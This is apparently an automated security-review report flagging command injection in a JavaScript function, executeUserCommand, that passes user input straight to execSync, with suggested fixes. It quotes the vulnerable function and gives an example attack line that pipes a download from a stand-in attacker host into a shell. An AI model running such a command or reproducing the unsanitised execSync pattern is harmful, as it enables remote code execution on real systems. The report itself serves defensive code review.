🟠 High: Detect Child Process
Detected calls to child_process from a function argument userCommand.
requires loginWhy this matters
Detected calls to child_process from a function argument userCommand. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed.
Suggested fix
Avoid shell string construction. Pass arguments as a list, validate/allowlist user-controlled values, and disable shell execution when possible.

🟠 High: Command injection via executeUserCommand passing raw user input to execSync
The newly added executeUserCommand function passes its userCommand argument directly to execSync without any sanitization or shell-escaping.
}
function executeUserCommand(userCommand) {
return execSync(userCommand).toString()
}
// Regular expression built from unvalidated input.Why this matters
The newly added executeUserCommand function passes its userCommand argument directly to execSync without any sanitization or shell-escaping. Because execSync invokes a shell, an attacker who controls the argument can execute arbitrary OS commands (e.g., executeUserCommand("curl attacker.com/exfil | sh")). The function is also exported via module.exports, widening its attack surface.
Suggested fix
Avoid invoking a shell with user-controlled input. If command execution is genuinely necessary, use execFileSync with an argument array (no shell) and validate the command against an allowlist, or apply strict input validation before execution.
